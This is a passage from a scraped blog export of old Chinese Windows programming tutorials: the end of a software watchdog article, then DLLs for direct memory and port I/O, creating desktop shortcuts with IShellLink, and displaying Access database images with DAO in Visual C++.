CurrentVersionWinlogonShell的值从原先的explorer.exe修改为自己程序的绝对路径。\n三．功能演示（Win2k/NT下）\n友 情提醒：开始演示之前，请先将你目前的工作保存。运行\u0026ldquo;看门狗\u0026rdquo;WatchDog；同时使用Ctrl+Alt+Del打开\u0026ldquo;Windows任务管理器\u0026rdquo;。 稍候片刻，可以看到目标程序HungDemo会被启动（这个程序模拟了\u0026ldquo;没有响应\u0026rdquo;）。然后，WatchDog发现这个程序\u0026ldquo;没有响应\u0026rdquo;，则把它杀掉，然 后重新启动一个新的HungDemo进程。如此的处理重复六次以后，系统会自动重启。\n正文完 源程序：http://www.vchelp.net/ASP/ibr_upload/357.zip\n","permalink":"https://hessian.cn/p/539.html","summary":"原作者姓名 陆其明\n文章原始出处 http://hqtech.nease.net\n正文\n一．概述\n一些重要的程 序，必须让它一直跑着；而且还要时时关心它的状态\u0026mdash;\u0026mdash;不能让它出现死锁现象。当然，如果一个主程序会出现死锁，肯定是设计或者编程上的失误。我们首要做的 事是，把这个Bug揪出来。但如果时间紧迫，这个Bug又\u0026ldquo;飘忽不定\u0026rdquo;，那么，我们还是先写一个软件\u0026ldquo;看门狗\u0026rdquo;，暂时应一下急吧。\n","title":"软件看门狗–别让你的程序没有响应"},{"content":"摘 要: 本文介绍了DLL技术在Windows编程中的基本运用方法及应用，给出了直接内存\n访问及端口I/O的两个实用DLL的全部源代码。\n关键词: DLL Windows编程 内存访问 I/O\n一 、引 言\n由 于Windows为微机提供了前所未有的标准用户界面、图形处理能力和简单灵便的操作，绝大多数程序编制人员都已转向或正在转向Windows编程。在许 多用户设计的实际应用系统的编程任务中，常常要实现软件对硬件资源和内存资源的访问，例如端口I/O、DMA、中断、直接内存访问等等 。若是编制DOS程序，这是轻而易举的事情，但要是编制Windows程序，尤其是WindowsNT环境下的程序，就会显得较困难。\n因为 Windows具有\u0026quot;与设备无关\u0026quot;的特性，不提倡与机器底层的东西打交道，如果直接用Windows的 API函数或I/O读写指令进行访问和操作，程序运行时往往就会产生保护模式错误甚至死机，更严重的情况会导致系统崩溃。那么在Windows下怎样方便 地解决上述问题呢？用DLL(Dynamic Link Libraries)技术就是良好途径之一。\nDLL是Windows最重要的组成要素， Windows中的许多新功能、新特性都是通过DLL来实现的，因此掌握它、应用它是非常重要的。其实Windows本身就是由许多的DLL组成的，它最 基本的三大组成模块Kernel、GDI和User 都是DLL，它所有的库模块也都设计成DLL。凡是以.DLL、.DRV、.FON、.SYS和许多以.EXE为扩展名的系统文件都是DLL，要是打开 WindowsSystem目录，就可以看到许多的DLL模块。尽管DLL在Ring3优先级下运行，仍是实现硬件接口的简便途径。DLL可以有自己的 数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式，减少了编程设计上的不便；同时，一个DLL在内存中只有一个实例，使之能高效经济地使 用内存；DLL实现的代码封装性，使得程序简洁明晰；此外还有一个最大的特点，即DLL的编制与具体的编程语言及编译器无关，只要遵守DLL的开发规范和 编程策略，并安排正确的调用接口，不管用何种编程语言编制的DLL都具有通用性。例如在BC31中编制的DLL程序，可用于BC、VC、VB、 Delphi等多种语言环境中。笔者在BC31环境下编译了Windows下直接内存访问和端口I/O两个DLL，用在多个自制系统的应用软件中，\n运行良好。\n二、DLL的建立和调用\nDLL的建立及调用方法在许多资料上有详细的介绍，为了节省篇幅，在这里仅作一些\n主要的概括。\n1.DLL的建立\n关于DLL的建立，有如下几个方面的要素是不可缺少和必须掌握的：\n?. 入口函数LibMain( )\n就象C程序中的WinMain( )一样，Windows每次加载DLL时都要执行LibMain( )函数，主要用来进行一些初始化工作。通常的形式是：\nint FAR PASCAL LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD\nwHeapSize,LPSTR lpszCmdLine)\n{\nif(wHeapSize!=0) //使局部堆、数据段可移动\nUnlockData(0); //解锁数据段\n/*此处可进行一些用户必要的初始化工作*/\nreturn 1; //初始化成功\n}\n?出口函数WEP( )\nWindows从内存中卸载DLL时，调用相应的出口函数WEP( )，主要做一些清理工作，如释放占用的内存资源；丢弃某些字串、位图等资源；关闭打开的文件等等。 ?自定义的输出函数\n为了让位于不同内存段的应用程序进行远程调用，自定义的输出函数必须定义为远程函数(使用FAR关键字)，以防使用近程指针而得到意外的结果；同时，加上PASCAL关键字可加快程序的运行速度，使代码简单高效，提高程序的运行速度。\n?输出函数的引出方法\n? 在DLL的模块定义文件中(.DEF)由EXPORTS语句对输出函数逐一列出。例如：\nEXPORTS WEP @1 residentname //residentname可提高DLL效率和处理速度\nPortIn @2 PortOut @3 //通常对所有输出函数附加系列号\n? 在每个输出函数定义的说明中使用_export关键字来对其引出。\n以上两种方法任选其中的一种即可，不可重复。后面的两个实例分别使用了上述两种不同的引出方式，请留意。\n2.DLL的调用\n加载DLL时，Windows寻找相应DLL的次序如下：\n?.当前工作盘。\n?Windows目录；GetWindowsDirectory( )函数可提供该目录的路径名。\n?Windows系统目录，即System子目录；调用GetSystemDiretory( )函数可获得这个目录的路径名。\n?DOS的PATH命令中罗列的所有目录。\n?网络中映象的目录列表中的全部目录。\nDLL模块中输出函数的调用方法：\n不 论使用何种语言对编译好的DLL进行调用时，基本上都有两种调用方式，即静态调用方式和动态调用方式。静态调用方式由编译系统完成对DLL的加载和应用程 序结束时DLL卸载的编码（如还有其它程序使用该DLL，则Windows对DLL的应用记录减1，直到所有相关程序都结束对该DLL的使用时才释放 它），简单实用，但不够灵活，只能满足一般要求。动态调用方式是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，使用上较复杂，但能更加有 效地使用内存，是编制大型应用程序时的重要方式。具体来说，可用如下的方法调用：\n?.在应用程序模块定义文件中，用IMPORTS语句列出所要调用DLL的函数名。如：\nIMPORTS MEMORYDLL.MemoryRead\nMEMORYDLL.MemoryWrite\n?让应用程序运行时与DLL模块动态链接\n先用LoadLibrary加载DLL，再用GetProcAddress函数检取其输出函数的地址，获得其指针来调用。如：\nHANDLE hLibrary;\nFARPROC lpFunc;\nint PortValue;\nM\nhLibrary=LoadLibrary(\u0026quot;PORTDLL.DLL\u0026quot;); //加载DLL\nif(hLibrary\u0026gt;31) //加载成功 {\nlpFunc=GetProcAddress(hLibrary,\u0026quot;PortIn\u0026quot;); //检取PortIn函数地址\nif(lpFunc!=(FARPROC)NULL) //检取成功则调用\nPortValue=(*lpFunc)(port); //读port端口的值\nFreeLibrary(hLibrary); //释放占用的内存\n} M\n三、DLL应用实例源程序\n1.直接内存访问的DLL源代码\n//.DEF文件\nLIBRARY MEMORYDLL\nDESCRIPTION \u0026#8216;DLL FOR MEMORY_READ_WRITE \u0026#8216;\nEXETYPE WINDOWS\nCODE PRELOAD MOVEABLE DISCARDABLE\nDATA PRELOAD MOVEABLE SINGLE\nHEAPSIZE 1024 //DLL无自己的堆栈，故没有STACKSIZE语句 EXPORTS WEP @1 residentname\nReadMemory @2\nWriteMemory @3\n//.CPP文件\n#include \u0026lt;windows.h\u0026gt;\nint FAR PASCAL LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD\nwHeapSize,LPSTR lpszCmdLine)\n{\nif(wHeapSize!=0)\nUnlockData(0);\nreturn 1;\n}\nint FAR PASCAL MemoryRead(unsigned int DosSeg,unsigned int DosOffset)\n{\nWORD wDataSelector,wSelector;\nchar far *pData;\nchar value;\nwDataSelector=HIWORD((DWORD)(WORD FAR *)\u0026amp;wDataSelector);\nwSelector=AllocSelector(wDataSelector); //分配选择器\nSetSelectorLimit(wSelector,0x2000); //置存取界限\nSetSelectorBase(wSelector,(((DWORD)DosSeg)\u0026lt;\u0026lt;4)+(DWORD)DosOffset); //置基地址\npData=(char far *)((DWORD)wSelector\u0026lt;\u0026lt;16);\nvalue=*pData;\nFreeSelector(wSelector); //释放选择器\nreturn (value);\n}\nvoid FAR PASCAL MemoryWrite(unsigned int DosSeg,unsigned int DosOffset,char Data)\n{\nWORD wDataSelector,wSelector;\nchar far *pData;\nwDataSelector=HIWORD((DWORD)(WORD FAR *)\u0026amp;wDataSelector);\nwSelector=AllocSelector(wDataSelector);\nSetSelectorLimit(wSelector,0x2000);\nSetSelectorBase(wSelector,(((DWORD)DosSeg)\u0026lt;\u0026lt;4)+(DWORD)DosOffset);\npData=(char far *)((DWORD)wSelector\u0026lt;\u0026lt;16);\n*pData=Data;\nFreeSelector(wSelector);\n}\nint FAR PASCAL WEP(int nParam)\n{\nreturn 1;\n} 2.端口读写I/O的DLL源代码\n//.DEF文件\nLIBRARY PORTDLL\nDESCRIPTION \u0026#8216;DLL FOR PORT_IN_OUT \u0026#8216;\nEXETYPE WINDOWS\nCODE PRELOAD MOVEABLE DISCARDABLE\nDATA PRELOAD MOVEABLE SINGLE\nHEAPSIZE 1024\n//.CPP文件\n#include \u0026lt;windows.h\u0026gt;\n#include \u0026lt;dos.h\u0026gt;\nint FAR PASCAL LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD\nwHeapSize,LPSTR lpszCmdLine)\n{\nif(wHeapSize!=0)\nUnlockData(0);\nreturn 1;\n}\nint FAR PASCAL _export PortOut(int port,unsigned char value)\n{\noutp(port,value);\nreturn 1;\n}\nint FAR PASCAL _export PortIn(int port)\n{\nint result;\nresult=inp(port);\nreturn (result);\n}\nint FAR PASCAL _export WEP(int nParam)\n{\nreturn 1;\n}\n分别将上面两个实例的.DEF文件和.CPP文件各自组成一个.PRJ文件,并进行编译链接成.EXE或.DLL文件就可以在应用程序中对其进行调用。\n四、结 束 语\n在 上面，我们利用DLL技术方便地实现了Windows环境下对内存的直接访问和端口I/O的访问，仿效这两个例子，还可以编制出更多的适合自己应用系统所 需的DLL，如用于数据采集卡的端口操作及扩展内存区访问、视频区缓冲区及BIOS数据区操作等许多实际应用的编程任务中。必要时只需直接更新DLL，而 用不着对应用程序本身作任何改动就可以对应用程序的功能和用户接口作较大的改善，实现版本升级。因此，掌握好DLL技术对Windows程序开发者很有裨 益。\n","permalink":"https://hessian.cn/p/523.html","summary":"摘 要: 本文介绍了DLL技术在Windows编程中的基本运用方法及应用，给出了直接内存\n访问及端口I/O的两个实用DLL的全部源代码。\n关键词: DLL Windows编程 内存访问 I/O\n","title":"Windows下DLL编程技术及应用"},{"content":"API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式，我们创建一个IShellLink对象，设置它的属性，然后把这个link保存到desktop目录。\n下面的例子代码演示了怎样创建一个快捷方式。在这个例子里，这个快捷方式保存在C:根目录下。\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n#define NO_WIN32_LEAN_AND_MEAN\n#include \u0026lt;shlobj.h\u0026gt;\n#include \u0026lt;vcl.h\u0026gt;\n#pragma hdrstop\n#include \u0026quot;Unit1.h\u0026quot;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n#pragma package(smart_init)\n#pragma resource \u0026quot;*.dfm\u0026quot;\nTForm1 *Form1;\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n__fastcall TForm1::TForm1(TComponent* Owner)\n: TForm(Owner)\n{\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nvoid __fastcall TForm1::Button1Click(TObject *Sender)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(OpenDialog1-\u0026gt;Execute())\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CreateShortCut(OpenDialog1-\u0026gt;FileName);\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nvoid TForm1::CreateShortCut(const AnsiString \u0026amp;file)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; IShellLink* pLink;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; IPersistFile* pPersistFile;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(CoInitialize(NULL)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL,CLSCTX_INPROC_SERVER,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; IID_IShellLink, (void **) \u0026amp;pLink)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetPath(file.c_str());\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetDescription(\u0026quot;哈哈,你看到我了吧.\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetShowCmd(SW_SHOW);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile,(void **)\u0026amp;pPersistFile)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; WideString strShortCutLocation(\u0026quot;C:\\bcbshortcut.lnk\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pPersistFile-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n上 面的例子只是把快捷方式文件保存到了c:根目录下，但没保存到desktop目录下。要让快捷方式出现在桌面上，只须把快捷方式文件保存到 desktop目录下。首先我们要找到windows的desktop目录。一旦我们知道了desktop所在的目录，我们就能将快捷方式文件保存到 desktop目录下。然后windows就能将快捷方式图标显示到桌面上。下面是经过改进了的例子：\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\nvoid TForm1::CreateShortCut(const AnsiString \u0026amp;file)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; IShellLink *pLink;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; IPersistFile *pPersistFile;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; LPMALLOC ShellMalloc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; LPITEMIDLIST DesktopPidl;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; char DesktopDir[MAX_PATH];\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(FAILED(SHGetMalloc(\u0026amp;ShellMalloc)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(FAILED(SHGetSpecialFolderLocation(NULL,CSIDL_DESKTOPDIRECTORY,\u0026amp;DesktopPidl)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(!SHGetPathFromIDList(DesktopPidl, DesktopDir))\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ShellMalloc-\u0026gt;Free(DesktopPidl);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ShellMalloc-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; ShellMalloc-\u0026gt;Free(DesktopPidl);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; ShellMalloc-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(CoInitialize(NULL)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink,NULL,CLSCTX_INPROC_SERVER,IID_IShellLink,(void **)\u0026amp;pLink)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetPath(file.c_str());\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetDescription(\u0026quot;哈哈,你看到我了吧.\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;SetShowCmd(SW_SHOW);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; if(SUCCEEDED(pLink-\u0026gt;QueryInterface(IID_IPersistFile,(void **)\u0026amp;pPersistFile)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; WideString strShortCutLocation(DesktopDir);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; strShortCutLocation += \u0026quot;\\bcbshortcut.lnk\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pPersistFile-\u0026gt;Save(strShortCutLocation.c_bstr(), TRUE);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pPersistFile-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; pLink-\u0026gt;Release();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; CoUninitialize();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n不要陷于COM的泥沼之中\n创建快捷方式包括一些对COM的使用。不要让你陷入到COM的复杂之中。COM只是创建和使用对象的一种方法。在这个例子里我们可以考虑不使用COM而是用等价的C++技术。\n下面是COM的代码与等价C++代码对比，COM代码以浅色表示，等价C++以深色表示\nIShellLink* pLink;\nIPersistFile* pPersistFile;\nTShellLink *Link;\nTPersistFile *PersistFile;\nCoInitialize();\nCoCreateInstance(CLSID_ShellLink, NULL,CLSCTX_INPROC_SERVER,IID_IShellLink, (void **) \u0026amp;pLink)\nLink = new TShellLink; pLink-\u0026gt;SetPath(file.c_str()); Link-\u0026gt;SetPath(file.c_str()); pLink-\u0026gt;SetShowCmd(SW_SHOW); Link-\u0026gt;SetShowCmd(SW_SHOW); pLink-\u0026gt;QueryInterface(IID_IPersistFile dynamic_cast\u0026lt;TPersistFile*\u0026gt;(Link); PersistFile = (void **)\u0026amp;pPersistFile))) pPersistFile-\u0026gt;Save(\u0026quot;C:\\\u0026quot;, TRUE); PersistFile-\u0026amp; 文章录入：admin\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 责任编辑：admin ","permalink":"https://hessian.cn/p/598.html","summary":"API提供了一个叫做IShellLink的COM接口允许我们创建快捷方式。为在桌面创建快捷方式，我们创建一个IShellLink对象，设置它的属性，然后把这个link保存到desktop目录。\n下面的例子代码演示了怎样创建一个快捷方式。在这个例子里，这个快捷方式保存在C:根目录下。\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n#define NO_WIN32_LEAN_AND_MEAN\n#include \u0026lt;shlobj.h\u0026gt;\n#include \u0026lt;vcl.h\u0026gt;\n#pragma hdrstop\n","title":"在Windows桌面创建快捷方式"},{"content":"在利用VC进行数据库编程时，经常需要处理数据库中的图像数据，将该图像从数据库中读取出来并显示，图像数据与 文本字段不同，它是作为OLE字段在数据库中存储，通过数据集对象的成员变量自动交换得到的图像数据，得到的数据并不能直接显示，如何处理图像数据，一直 是数据库编程中的一个难点，目前关于VC进行数据库编程的资料不少，但很少涉及图像数据的操作，笔者针对一现状，结合自己开发的一个项目，解决了如何显示 数据库中的图像这一问题，本文以操作ACESS数据库为例子，讲解一下自己的实现思路，希望对爱好VC编程的朋友们有所帮助，以起到抛砖引玉的作用。\n为了简化问题，该数据库的表中只有一个名为Images的OLE字段，我使用DAO连接操作数据库，读取的图像数据显示在一个对话框上，至于使用 ODBC、DAO还是ADO，这要根据具体情况而定，但无论使用哪一种，对图像的显示来说，实现的过程是大同小异的。由于篇幅有限，文章中对如何实现数据 库的连接不再作具体的说明，有兴趣的读者朋友可以参考VC数据库编程的资料。实现过程中，首先定义一个CDaoRecordset的子类 CimageData如下：\nclass CimageData : public CDaoRecordset\n{\npublic:\nCimageData (CDaoDatabase* pDatabase = NULL);\nDECLARE_DYNAMIC(CimageData)\nfile://{{AFX_FIELD(CimageData, CDaoRecordset)\nCByteArray m_Images;//声明字节数组用来存放图像数据\nfile://}}AFX_FIELD\n// Overrides\n// ClassWizard generated virtual function overrides\nfile://{{AFX_VIRTUAL(CimageData)\npublic:\nvirtual CString GetDefaultDBName(); virtual CString GetDefaultSQL(); virtual void DoFieldExchange(CDaoFieldExchange* pFX); file://}}AFX_VIRTUAL 该类的实现为：\nCimageData:: CimageData (CDaoDatabase* pdb)\n: CDaoRecordset(pdb)\n{\nfile://{{AFX_FIELD_INIT(CimageData)\nm_nFields = 1;//数据库的表中仅有一个字段\nfile://}}AFX_FIELD_INIT\nm_nDefaultType = dbOpenDynaset;//以动态集方式打开数据库\n}\nCString CimageData::GetDefaultDBName()\n{\nreturn _T(\u0026quot;E:\\IMAGES.mdb\u0026quot;);//默认的ACESS数据库在E盘，名为IMAGES\n}\nCString CimageData::GetDefaultSQL()\n{\nreturn _T(\u0026quot;[Table]\u0026quot;);//默认打开数据库中名为\u0026quot;Table\u0026quot;的表\n}\nvoid CimageData::DoFieldExchange(CDaoFieldExchange* pFX)\n{\nfile://{{AFX_FIELD_MAP(CimageData)\npFX-\u0026gt;SetFieldType(CDaoFieldExchange::outputColumn);\nDFX_Binary(pFX, _T(\u0026quot;[Images]\u0026quot;), m_Images);//以二进制方式在Images字段和m_Images变量间交换数据\nfile://}}AFX_FIELD_MAP\n}\n有了该类，就可以定义相应的对象来与数据库中的图像字段交换数据，下面定义的函数GetImageData()说明了如何根据读取的OLE字段数据生成待显示的图像，需要注意的是该函数中使用的CBitmap类的变量Bitmap是预定义的一个全局变量： BOOL CImageDlg:: GetImageData(CByteArray \u0026amp; DBArray)\n{\nCByteArray Array;\nArray.Copy( DBArray); int HeaderLen = 78 + sizeof(BITMAPFILEHEADER); file://确定图像头信息的起始位置\nArray.RemoveAt( 0, HeaderLen ); // 移动到图像头信息的起始位置 BITMAPINFOHEADER \u0026amp;bmiHeader = *(LPBITMAPINFOHEADER)Array.GetData() ;\nBITMAPINFO \u0026amp;bmInfo = *(LPBITMAPINFO)Array.GetData() ;\nfile://得到图像数据的头信息\nint nColors=bmiHeader.biClrUsed ? bmiHeader.biClrUsed : 1 \u0026lt;\u0026lt; bmiHeader.biBitCount;\nfile://确定图像的颜色数\nLPVOID lpDIBBits;\nif( bmInfo.bmiHeader.biBitCount \u0026gt; 8 